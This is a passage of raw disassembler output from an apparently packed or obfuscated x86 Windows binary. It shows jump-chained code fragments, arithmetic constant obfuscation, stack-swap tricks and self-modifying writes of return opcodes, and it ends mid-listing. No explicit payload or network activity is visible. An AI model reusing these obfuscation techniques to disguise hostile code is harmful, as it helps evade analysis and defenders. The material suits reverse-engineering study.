; =============== S U B	R O U T	I N E =======================================



sub_437ADD	proc near		; DATA XREF: sub_444730+Eo
		mov	[ebp-0Ch], eax
sub_437ADD	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_44BAB7

loc_437AE0:				; CODE XREF: sub_44BAB7-10894j
					; sub_448C95:loc_43F754j ...
		mov	eax, [ebp-20h]
		movzx	eax, byte ptr [eax]
		push	offset loc_4390AC
		jmp	nullsub_185
; END OF FUNCTION CHUNK	FOR sub_44BAB7
; ---------------------------------------------------------------------------
		cdq
		jmp	sub_44933F
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_287. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_437AF7:				; CODE XREF: kgbikm34:0044B857j
		jmp	loc_43DEB1
; ---------------------------------------------------------------------------

loc_437AFC:				; CODE XREF: kgbikm34:00448F49j
		jmp	loc_4439FD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440380

loc_437B01:				; CODE XREF: sub_440380+199Cj
		jmp	loc_44D5E0
; END OF FUNCTION CHUNK	FOR sub_440380
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44D21F

loc_437B06:				; CODE XREF: sub_44D21F-74AFj
		jz	loc_437475
		jmp	loc_4441E6
; END OF FUNCTION CHUNK	FOR sub_44D21F

; =============== S U B	R O U T	I N E =======================================



sub_437B11	proc near		; CODE XREF: sub_44C607-D068p
					; kgbikm34:0044295Fj

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0043A615 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043D734 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0043D8C4 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00441394 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004462BE SIZE 00000004 BYTES
; FUNCTION CHUNK AT 00448684 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0044908A SIZE 0000000A BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		sub	eax, 0FFFFFFFFh
		jl	loc_43D734
		jmp	loc_43D8C4
sub_437B11	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_437B23	proc near		; DATA XREF: kgbikm34:0043F3E8o

; FUNCTION CHUNK AT 0043F566 SIZE 00000019 BYTES

		call	sub_43BF6F
		call	sub_449144

loc_437B2D:				; CODE XREF: kgbikm34:0043FC05j
		jmp	loc_43F566
sub_437B23	endp


; =============== S U B	R O U T	I N E =======================================



sub_437B32	proc near		; CODE XREF: sub_437ACB+8p
					; kgbikm34:00441692j

; FUNCTION CHUNK AT 00440CB1 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044B819 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0044C8C7 SIZE 0000000D BYTES

		xchg	eax, [esp+0]
		pop	eax
		or	ecx, ecx
		jz	loc_44C8C7
		mov	ecx, [ebx+ecx+0Ch]
		or	ecx, ecx
		jmp	loc_440CB1
sub_437B32	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 24h,	0DFh, 99h
dword_437B4C	dd 4 dup(2), 0C0h, 40h,	2 dup(1), 4 dup(2), 0C0h, 40h
					; DATA XREF: sub_4471D6-FA11r
					; kgbikm34:004390BBr ...
		dd 2 dup(1), 4 dup(2), 0C0h, 40h, 2 dup(1), 4 dup(2), 0C0h
		dd 40h,	2 dup(1), 4 dup(2), 0C0h, 40h, 0
		dd 1, 4	dup(2),	0C0h, 40h, 0
		dd 1, 4	dup(2),	0C0h, 40h, 0
		dd 401h, 4 dup(2), 0C0h, 40h, 0
		dd 23h dup(1), 2 dup(2), 4 dup(0)
		dd 40h,	42h, 0C0h, 0C2h, 4 dup(1), 10h dup(1E00h), 0C2h
		dd 42h,	2 dup(0C2h), 0Ch dup(2), 0Ah dup(1), 60h, 5 dup(1)
		dd 4 dup(8), 4 dup(1), 0C0h, 40h, 6 dup(1), 8 dup(0C0h)
		dd 8 dup(40h), 2 dup(1C2h), 20h, 1, 2 dup(2), 0C2h, 42h
		dd 1E0h, 1, 20h, 2 dup(1), 0C0h, 2 dup(1), 4 dup(2), 2 dup(0C0h)
		dd 2 dup(1), 8 dup(2), 4 dup(1A00h), 4 dup(0C0h), 800h
		dd 0A00h, 60h, 1A00h, 4	dup(1),	0
		dd 1, 2	dup(0)
		dd 2 dup(1), 2 dup(2), 6 dup(1), 2 dup(2)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446F79

loc_437F4C:				; CODE XREF: sub_446F79+500j
		jmp	sub_4400C7
; END OF FUNCTION CHUNK	FOR sub_446F79
; ---------------------------------------------------------------------------

loc_437F51:				; CODE XREF: kgbikm34:00442037j
		jmp	loc_441590
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B34A

loc_437F56:				; CODE XREF: sub_44B34A-12CD9j
		jmp	nullsub_170
; END OF FUNCTION CHUNK	FOR sub_44B34A
; ---------------------------------------------------------------------------
		db 3Dh
dword_437F5C	dd 2			; DATA XREF: sub_4471D6+24E1r
		dd 3 dup(2), 1Ch dup(1), 5 dup(2), 1, 2, 19h dup(1), 10h dup(402h)
		dd 10h dup(1), 0Bh dup(2), 3 dup(1), 2 dup(2), 1, 3 dup(0C2h)
		dd 3 dup(2), 7 dup(1), 2 dup(2), 10h dup(0E00h), 10h dup(402h)
		dd 3 dup(1), 2,	1C2h, 3	dup(2),	3 dup(1), 2, 1C2h, 0Bh dup(2)
		dd 2 dup(1), 1C2h, 7 dup(2), 5 dup(1), 2, 9 dup(1), 3 dup(2)
		dd 1, 2, 2 dup(1), 2 dup(2), 1,	3 dup(2), 1, 2,	1, 2 dup(2)
		dd 2 dup(1), 2,	2 dup(1), 2 dup(2), 1, 3 dup(2), 1, 2
		dd 1, 3	dup(2),	1, 2, 2	dup(1),	3 dup(2), 1, 3 dup(2)
		dd 1, 173CE9h, 2D39A100h
dword_438364	dd 77EB36A5h		; DATA XREF: sub_440501+4w
					; sub_446C8B+Ew
dword_438368	dd 0			; DATA XREF: sub_43CF41+10o
					; sub_44B5FD+4o ...
dword_43836C	dd 77E60000h		; DATA XREF: sub_43CF41+B23Ew
					; sub_43CF41+BA62r ...
dword_438370	dd 9BC956DAh, 91998DACh, 0D8D8645Ch, 0A727F200h
					; DATA XREF: sub_44B5FD-BCCEo
					; sub_43CF41+BA72o
byte_438380	db 1			; DATA XREF: sub_439B82:loc_43A4D8w
					; sub_448BC4+6r
; ---------------------------------------------------------------------------

loc_438381:				; CODE XREF: kgbikm34:0043D06Bj
		jmp	loc_44C815
; ---------------------------------------------------------------------------

loc_438386:				; CODE XREF: kgbikm34:0043DD00j
		pop	esi
		sub	esi, 0A002C5A2h
		add	esi, 8103D01Dh
		mov	[esi], eax
		pop	esi
		jmp	loc_43DAE0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4440CD

loc_43839B:				; CODE XREF: sub_4440CD+A2Aj
		xchg	esi, [esp+0]
		jmp	sub_43BF6F
; END OF FUNCTION CHUNK	FOR sub_4440CD

; =============== S U B	R O U T	I N E =======================================



sub_4383A3	proc near		; DATA XREF: kgbikm34:loc_44C4C3o

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0043E73E SIZE 0000001E BYTES
; FUNCTION CHUNK AT 004415A7 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0044A01C SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0044C1FA SIZE 0000000E BYTES

		push	ecx
		mov	ecx, edx
		xchg	ecx, [esp+4+var_4]
		call	sub_43F3F8
		push	8EA6A32Ah
		pop	eax
		jmp	loc_43E73E
sub_4383A3	endp


; =============== S U B	R O U T	I N E =======================================



sub_4383B9	proc near		; CODE XREF: kgbikm34:0043891Bp
					; kgbikm34:00443826j

; FUNCTION CHUNK AT 0043C142 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00440AFD SIZE 00000018 BYTES

		xchg	edx, [esp+0]
		pop	edx
		xor	edx, edx
		push	edx
		push	eax
		jmp	loc_43C142
sub_4383B9	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4403D5

loc_4383C6:				; CODE XREF: sub_4403D5-72B4j
		jnb	loc_44DC29
		jmp	loc_44872E
; END OF FUNCTION CHUNK	FOR sub_4403D5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FA71

loc_4383D1:				; CODE XREF: sub_43FA71:loc_43B77Fj
		sub	al, 99h
		mov	edx, [ebp-4]
		imul	byte ptr [edx]
		cmp	al, 0A4h
		jz	loc_44872E
		jmp	loc_4475B3
; END OF FUNCTION CHUNK	FOR sub_43FA71
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44A9D8

loc_4383E5:				; CODE XREF: sub_44A9D8:loc_43A525j
					; kgbikm34:loc_43AAFDj	...
		jnz	loc_44CC4C
		mov	edx, [esi]
		jmp	loc_43E87A
; END OF FUNCTION CHUNK	FOR sub_44A9D8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4474D5

loc_4383F2:				; CODE XREF: sub_4474D5-4EB0j
		jnz	loc_43F36D

loc_4383F8:				; CODE XREF: kgbikm34:00442DF0j
		jmp	nullsub_92
; END OF FUNCTION CHUNK	FOR sub_4474D5
; ---------------------------------------------------------------------------
		xor	esi, ebx
		jmp	loc_4406BC
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_257. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C55C

loc_438405:				; CODE XREF: sub_43C55C-25B0j
					; kgbikm34:0044614Dj
		jmp	loc_444676
; END OF FUNCTION CHUNK	FOR sub_43C55C
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_283. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_43840B:				; CODE XREF: kgbikm34:0044CB6Cj
		jmp	loc_44A758
; ---------------------------------------------------------------------------
		pushf
		jmp	sub_44CA03
; ---------------------------------------------------------------------------

loc_438416:				; CODE XREF: kgbikm34:0043A53Cj
		adc	esi, 0F0877F95h

loc_43841C:				; CODE XREF: kgbikm34:loc_43A52Aj
		add	ecx, 0CC46D7Ch
		popf
		xchg	ecx, [esp]
; START	OF FUNCTION CHUNK FOR sub_44A406

loc_438426:				; CODE XREF: sub_44A406-F27Aj
		jmp	loc_43B045
; END OF FUNCTION CHUNK	FOR sub_44A406
; ---------------------------------------------------------------------------

loc_43842B:				; CODE XREF: kgbikm34:0044CB8Aj
		pop	esi

loc_43842C:				; CODE XREF: kgbikm34:00438A25j
		xor	edi, 66100640h
		or	edi, 88A07200h
; START	OF FUNCTION CHUNK FOR sub_439609

loc_438438:				; CODE XREF: sub_439609+D881j
		sub	edi, 9C2DC572h
		xor	edi, 3B4D1006h
		xor	eax, edi
		pop	edi
		mov	ds:dword_44037C, eax
		jmp	loc_4453A6
; END OF FUNCTION CHUNK	FOR sub_439609
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44CF08

loc_438452:				; CODE XREF: sub_44CF08:loc_43F81Aj
					; sub_44CF08-D6E1j
		add	edi, 308DE89Ch
		and	edi, 9585E2D5h
		call	sub_445BE4

loc_438463:				; CODE XREF: kgbikm34:loc_4496EEj
		xchg	edi, [esp+0]
		mov	edx, edi
		pop	edi
		rol	edx, 16h
		add	edx, 467599D6h
		xchg	edx, [esp-4+arg_0]
		jmp	loc_43FFB0
; END OF FUNCTION CHUNK	FOR sub_44CF08
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43ACD5

loc_43847A:				; CODE XREF: sub_43ACD5+B279j
		jns	sub_4438E2
		add	ebx, eax
		popf

loc_438483:				; CODE XREF: sub_43ACD5:loc_43C19Bj
		push	86E7773Fh
		mov	eax, 0D568823Bh
		jmp	loc_43E99D
; END OF FUNCTION CHUNK	FOR sub_43ACD5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44CABC

loc_438492:				; CODE XREF: sub_44CABC-9349j
		jl	loc_4464C6
		test	eax, ebx
		jmp	loc_4464B1
; END OF FUNCTION CHUNK	FOR sub_44CABC
; ---------------------------------------------------------------------------
		mov	edx, 6731F6DCh
		jmp	loc_43F250
; ---------------------------------------------------------------------------

loc_4384A9:				; CODE XREF: kgbikm34:0044D260j
		ja	loc_43C703

; =============== S U B	R O U T	I N E =======================================



sub_4384AF	proc near		; CODE XREF: kgbikm34:004469EDp
		xchg	esi, [esp+0]
		pop	esi
		lea	eax, nullsub_122
		mov	byte ptr [eax],	0C3h
		jmp	loc_44D912
sub_4384AF	endp ; sp-analysis failed

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_100. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
		mov	eax, 0EEE68DF1h
		call	sub_4400C7
		mov	ds:off_41E044, eax
		lea	eax, sub_438B99
		jmp	loc_443AF5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F5F7

loc_4384DD:				; CODE XREF: sub_43F5F7:loc_444578j
		mov	eax, [ebp-18h]
		shl	eax, 2
		cdq
		add	eax, [esp+0]
		js	loc_43E542
		adc	edx, [esp+arg_0]
		add	esp, 8
		jmp	loc_44850E
; END OF FUNCTION CHUNK	FOR sub_43F5F7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C2DA

loc_4384F9:				; CODE XREF: sub_43C2DA:loc_44A849j
		sbb	eax, 0E83AA0Bh
		ja	loc_4389DD
		jmp	loc_43C876
; END OF FUNCTION CHUNK	FOR sub_43C2DA
; ---------------------------------------------------------------------------
		call	sub_442401
		call	sub_4455B2
; START	OF FUNCTION CHUNK FOR sub_43DF5B

loc_438514:				; CODE XREF: sub_43DF5B+C2F4j
		jmp	loc_448C4F
; END OF FUNCTION CHUNK	FOR sub_43DF5B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441D2F

loc_438519:				; CODE XREF: sub_441D2F-3621j
		jmp	nullsub_104
; END OF FUNCTION CHUNK	FOR sub_441D2F
; ---------------------------------------------------------------------------
		popf
		jmp	sub_442B15
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C9D6

loc_438524:				; CODE XREF: sub_43C9D6:loc_440816j
		jz	loc_44753A

loc_43852A:				; CODE XREF: sub_439BDE+10A85j
		jmp	loc_444AC5
; END OF FUNCTION CHUNK	FOR sub_43C9D6
; ---------------------------------------------------------------------------
		jnz	loc_43D321
		rol	ecx, 0Eh
		jmp	loc_44753A
; ---------------------------------------------------------------------------

loc_43853D:				; CODE XREF: kgbikm34:loc_441563j
		jnz	loc_438FB2
; START	OF FUNCTION CHUNK FOR sub_449D78

loc_438543:				; CODE XREF: sub_449D78-EAD9j
		jmp	loc_440620
; END OF FUNCTION CHUNK	FOR sub_449D78
; ---------------------------------------------------------------------------
		cmp	ebx, edx
		jmp	loc_441AA4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448D30

loc_43854F:				; CODE XREF: sub_448D30:loc_439B40j
		jz	loc_43D0B0
		jmp	loc_448A1A
; END OF FUNCTION CHUNK	FOR sub_448D30
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B6E1

loc_43855A:				; CODE XREF: sub_44B6E1:loc_44C3ABj
		jz	loc_43FA38
		jmp	loc_43A5D2
; END OF FUNCTION CHUNK	FOR sub_44B6E1
; ---------------------------------------------------------------------------

loc_438565:				; CODE XREF: kgbikm34:loc_43C152j
		pop	ebx
		xchg	edi, [esp]
		mov	eax, edi
		pop	edi

loc_43856C:				; CODE XREF: kgbikm34:0043F6E7j
		push	edi
		jmp	loc_43E15D
; ---------------------------------------------------------------------------

loc_438572:				; CODE XREF: kgbikm34:0043BD7Cj
					; kgbikm34:0043C901j
		and	edi, ecx
		shl	ebp, 0Ah
; START	OF FUNCTION CHUNK FOR sub_449E48

loc_438577:				; CODE XREF: sub_449E48:loc_43BD66j
		add	ebx, 0F99279BBh
		xchg	ebx, [esp+0]
		jmp	loc_43AEBB
; END OF FUNCTION CHUNK	FOR sub_449E48
; ---------------------------------------------------------------------------

loc_438585:				; CODE XREF: kgbikm34:0043D1C6j
		jmp	ds:off_41E0B4
; ---------------------------------------------------------------------------

loc_43858B:				; CODE XREF: kgbikm34:0043F885j
		jmp	sub_44B20C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4394EB

loc_438590:				; CODE XREF: sub_4394EB:loc_43D896j
		jbe	loc_44D025
		mov	[ebp+0], ebx
		pop	ecx

loc_43859A:				; CODE XREF: sub_4394EB:loc_4491C1j
		push	47CE28B7h
		pop	eax
		jmp	loc_44A254
; END OF FUNCTION CHUNK	FOR sub_4394EB
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------

loc_4385A6:				; CODE XREF: kgbikm34:0044D291j
		jmp	loc_44AE8A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43BF6F

loc_4385AB:				; CODE XREF: sub_43BF6F:loc_43C50Aj
					; kgbikm34:00446545j
		sub	eax, edi
; END OF FUNCTION CHUNK	FOR sub_43BF6F

; =============== S U B	R O U T	I N E =======================================



sub_4385AD	proc near		; CODE XREF: sub_442B15:loc_4478B4p

; FUNCTION CHUNK AT 00437941 SIZE 00000004 BYTES
; FUNCTION CHUNK AT 0044317D SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00446F6C SIZE 00000005 BYTES

		xchg	edx, [esp+0]
		pop	edx
		push	2B518FF6h
		pop	eax
		or	eax, 537C1886h
		add	eax, 0E163A7DBh
		jmp	loc_44317D
sub_4385AD	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		cmp	ecx, 0AD98DA71h
		jmp	loc_44013B
; ---------------------------------------------------------------------------

loc_4385D3:				; DATA XREF: sub_43B5BA+517Co
		push	eax
		push	532A6CFh
		pop	eax
		or	eax, 1DDB4B28h
		rol	eax, 1
		sub	eax, 56C771E6h
		add	eax, 1B14523Dh
		jmp	loc_43CB55
; ---------------------------------------------------------------------------
		sub	ebp, edx
		and	ebx, ebp
		jmp	sub_44441C
; ---------------------------------------------------------------------------
		and	eax, 3F158F1Ah
		jmp	loc_43D1A9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44DC12

loc_438607:				; CODE XREF: sub_44DC12+13Ej
		push	0E27F5FC7h
		pop	eax
		sub	eax, 0D7E2C18Dh
		or	eax, 8AF5D0B1h
		add	eax, 75464198h
		xchg	eax, [esp+0]
		jmp	loc_44B7C0
; END OF FUNCTION CHUNK	FOR sub_44DC12
; ---------------------------------------------------------------------------

loc_438627:				; CODE XREF: kgbikm34:loc_443BF5j
		jnz	loc_43B15E
		jmp	loc_44A0B0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440141

loc_438632:				; CODE XREF: sub_440141-F73j
		xchg	edi, [esp+0]
		mov	esi, edi
		pop	edi
		push	ecx
		pushf
		push	0BB684D95h
		jmp	loc_44B579
; END OF FUNCTION CHUNK	FOR sub_440141
; ---------------------------------------------------------------------------

loc_438644:				; CODE XREF: kgbikm34:00439969j
		xor	ebx, 70C21B2Fh
		add	ebx, 1FC0BAAEh
		add	eax, ebx
		pop	ebx
		mov	edx, [esp]
		push	esi
		mov	esi, eax
		jmp	loc_44655B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448C95

loc_43865E:				; CODE XREF: sub_448C95:loc_445943j
		jns	loc_43A94E
		shl	ebx, 8
		jmp	loc_43CA00
; END OF FUNCTION CHUNK	FOR sub_448C95
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B34A

loc_43866C:				; CODE XREF: sub_44B34A:loc_445650j
		push	offset loc_442872
		jmp	loc_437F56
; END OF FUNCTION CHUNK	FOR sub_44B34A
; ---------------------------------------------------------------------------

loc_438676:				; CODE XREF: kgbikm34:0044AC20j
		sub	edx, 0B080FF76h
		push	79AD463h
; START	OF FUNCTION CHUNK FOR sub_449D59

loc_438681:				; CODE XREF: sub_449D59+EACj
		and	eax, 7F111FEh
		add	eax, 78301602h
		add	eax, ebp
		add	eax, 81EEE8D8h
		mov	eax, [eax]
		jmp	loc_448B5A
; END OF FUNCTION CHUNK	FOR sub_449D59
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F5F7

loc_43869C:				; CODE XREF: sub_43F5F7:loc_448513j
		jb	loc_444B7A
		jmp	loc_44AD6C
; END OF FUNCTION CHUNK	FOR sub_43F5F7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4429A6

loc_4386A7:				; CODE XREF: sub_4429A6:loc_437816j
		mov	[ebp+0], edx
		jmp	loc_441160
; END OF FUNCTION CHUNK	FOR sub_4429A6
; ---------------------------------------------------------------------------
		mov	esi, ebx
		sbb	eax, 9B7D609Ch
		jmp	sub_446E38
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449F77

loc_4386BC:				; CODE XREF: sub_449F77+14j
		jz	loc_43C9B3
		jmp	loc_4411A2
; END OF FUNCTION CHUNK	FOR sub_449F77

; =============== S U B	R O U T	I N E =======================================



sub_4386C7	proc near		; DATA XREF: sub_43A07D+BF89o
		add	ebx, 6F29C3F2h
		call	sub_4446A9
sub_4386C7	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_438978

loc_4386D2:				; CODE XREF: sub_438978+8993j
					; kgbikm34:00443AC0j
		jmp	loc_43E371
; END OF FUNCTION CHUNK	FOR sub_438978
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4466A3

loc_4386D7:				; CODE XREF: sub_4466A3:loc_4474C7j
		jz	loc_44111C
		jmp	loc_44BCCA
; END OF FUNCTION CHUNK	FOR sub_4466A3
; ---------------------------------------------------------------------------
		js	loc_4452FC
		jmp	sub_44649E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449D78

loc_4386ED:				; CODE XREF: sub_449D78-9740j
		add	ebx, 496DFF0Dh
		popf
		xchg	ebx, [esp-4+arg_0]
		jmp	loc_4494E2
; END OF FUNCTION CHUNK	FOR sub_449D78

; =============== S U B	R O U T	I N E =======================================



sub_4386FC	proc near		; DATA XREF: kgbikm34:00446561o
		mov	eax, [esp+0]
		call	sub_43C7C6
		retn
sub_4386FC	endp

; ---------------------------------------------------------------------------

loc_438705:				; CODE XREF: kgbikm34:loc_439950j
		ror	eax, 14h
		jmp	loc_4459ED
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449D59

loc_43870D:				; CODE XREF: sub_449D59:loc_43F6CBj
		jl	loc_44990B

loc_438713:				; CODE XREF: kgbikm34:0044C04Dj
		jmp	loc_443BB9
; END OF FUNCTION CHUNK	FOR sub_449D59
; ---------------------------------------------------------------------------
		pop	esi
		mov	edi, 25397D5Bh
		jmp	loc_445214
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44A9D8

loc_438723:				; CODE XREF: sub_44A9D8+10j
		push	1585D457h
		pop	edi
		rol	edi, 18h
		sub	edi, 434BE895h
		jmp	loc_43A525
; END OF FUNCTION CHUNK	FOR sub_44A9D8
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_60. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_438738:				; CODE XREF: kgbikm34:loc_443519j
		jmp	loc_43CA99
; ---------------------------------------------------------------------------

loc_43873D:				; DATA XREF: sub_44B18D-10867o
		push	2690677Bh
		pop	edi
		xor	edi, 0F4CD71F7h
		or	edi, 8A81F90Fh
		and	edi, 0AA79AB16h
		jmp	loc_440654
; ---------------------------------------------------------------------------
		push	8DED7165h
		pop	eax
		rol	eax, 1Bh
		and	eax, 0F0528D3Ch
		sub	eax, 0C81A7211h
		xor	eax, 0AB690637h
		call	sub_43BF6F

loc_43877A:				; CODE XREF: kgbikm34:loc_44DAB8j
		push	ebp
		jmp	loc_4491E9
; ---------------------------------------------------------------------------
		jnz	loc_43C588
		jmp	sub_442F09
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B1D6

loc_43878B:				; CODE XREF: sub_43B1D6:loc_43EC4Dj
		test	edx, 0E515A99Bh
		jmp	loc_443D20
; END OF FUNCTION CHUNK	FOR sub_43B1D6

; =============== S U B	R O U T	I N E =======================================



sub_438796	proc near		; DATA XREF: sub_43BF6F:loc_44C1EAo

var_C		= dword	ptr -0Ch

; FUNCTION CHUNK AT 00447052 SIZE 00000011 BYTES

		push	eax
		lea	eax, dword_440F50
		push	eax
		push	edx
		jmp	loc_447052
sub_438796	endp

; ---------------------------------------------------------------------------
		jns	loc_440321
		jmp	sub_44DB18
; ---------------------------------------------------------------------------

loc_4387AF:				; DATA XREF: kgbikm34:0044DB0Eo
		push	6C4765E0h
		pop	edi
		xor	edi, 153AF20Eh
		add	edi, 0A8ACCDADh
		and	edi, 50EDC9ACh
		add	edi, 199EF4h
		mov	[edi], eax
		jmp	loc_43E437
; ---------------------------------------------------------------------------
		push	edi
		push	4471372Fh
		pop	edi
		xor	edi, 7A075313h
		or	edi, 0D32CCB55h
		xor	edi, 544011E9h
		or	edi, 19585C4Ah
		add	edi, 0BAD36C8Dh
		jmp	loc_4466B0
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_234. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4438E2

loc_4387FF:				; CODE XREF: sub_4438E2+8EB4j
		jmp	loc_443C85
; END OF FUNCTION CHUNK	FOR sub_4438E2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C55C

loc_438804:				; CODE XREF: sub_43C55C+1D39j
					; sub_43C55C+1D46j
		jno	loc_444E2E
		cmp	dword ptr [ebp-10h], 0
		jnz	loc_44C2FF
		mov	eax, [ebp+8]
		call	sub_4446F8

loc_43881C:				; DATA XREF: sub_438B6B+6o
		xchg	esi, [esp+0]
		mov	edx, esi
		pop	esi
		mov	eax, [esp-4+arg_0]
		push	ebx
		jmp	loc_4410E7
; END OF FUNCTION CHUNK	FOR sub_43C55C
; ---------------------------------------------------------------------------

loc_43882B:				; CODE XREF: kgbikm34:0044D1A2j
		pushf
		sbb	ebp, ecx
		jmp	loc_445695
; ---------------------------------------------------------------------------

loc_438833:				; CODE XREF: kgbikm34:004422FAj
		shr	ecx, 19h
		jmp	loc_4462F3
; ---------------------------------------------------------------------------

loc_43883B:				; DATA XREF: sub_43DFB9+Do
		mov	eax, [ebp+8]
		mov	eax, [eax-10h]

loc_438841:				; CODE XREF: kgbikm34:loc_43B150j
		and	eax, 7
		mov	[ebp-14h], eax
		cmp	dword ptr [ebp-10h], 3
		jnb	loc_444B20
; START	OF FUNCTION CHUNK FOR sub_444A5E

loc_438851:				; CODE XREF: sub_444A5E:loc_443CD3j
		mov	eax, [ebp+8]
		jmp	loc_447BA4
; END OF FUNCTION CHUNK	FOR sub_444A5E
; ---------------------------------------------------------------------------
		sbb	eax, edi
		jmp	sub_43CD5D
; ---------------------------------------------------------------------------
		push	edi
		push	0A309D6FDh
		pop	edi
		or	edi, 0A6B40197h
		jmp	loc_4477D2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_447EE0

loc_438872:				; CODE XREF: sub_447EE0:loc_438B61j
		pushf
; END OF FUNCTION CHUNK	FOR sub_447EE0
; START	OF FUNCTION CHUNK FOR sub_43741E

loc_438873:				; CODE XREF: sub_43741E+14661j
		push	1AE82D29h
		pop	esi
		sub	esi, 8D09B8EDh
		jmp	loc_44594D
; END OF FUNCTION CHUNK	FOR sub_43741E
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_375. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_445D55

loc_438885:				; CODE XREF: sub_445D55+Aj
		jmp	loc_444BE3
; END OF FUNCTION CHUNK	FOR sub_445D55
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C638

loc_43888A:				; CODE XREF: sub_43C638-2123j
		jmp	loc_43C12B
; END OF FUNCTION CHUNK	FOR sub_43C638
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_443622

loc_43888F:				; CODE XREF: sub_443622:loc_43ED9Ej
		mov	byte ptr [ebp+eax-100h], 0
		push	2010h
		push	ebx
		push	4D433217h
		pop	ebx
		jmp	loc_43F40C
; END OF FUNCTION CHUNK	FOR sub_443622
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43AD9F

loc_4388A8:				; CODE XREF: sub_43AD9F+301Fj
		sbb	esi, 675F1166h
		xchg	eax, [ebp+0]

loc_4388B1:				; CODE XREF: sub_43AD9F:loc_4394CAj
		mov	eax, 0CF0182F6h
		call	sub_43BF6F
		xor	eax, 6CAB88E0h
		jmp	loc_43B909
; END OF FUNCTION CHUNK	FOR sub_43AD9F
; ---------------------------------------------------------------------------
		add	edx, 8D8191E9h
		jmp	sub_4390CF
; ---------------------------------------------------------------------------
		mov	ds:dword_41E0E4, eax
		lea	eax, nullsub_324
		mov	byte ptr [eax],	0C3h
		jmp	nullsub_324
; ---------------------------------------------------------------------------
		xchg	edi, [esp]
		mov	edx, edi
		jmp	loc_44D588
; ---------------------------------------------------------------------------
		pushf
		jmp	loc_43972B
; ---------------------------------------------------------------------------

loc_4388F5:				; CODE XREF: kgbikm34:0044C7C3j
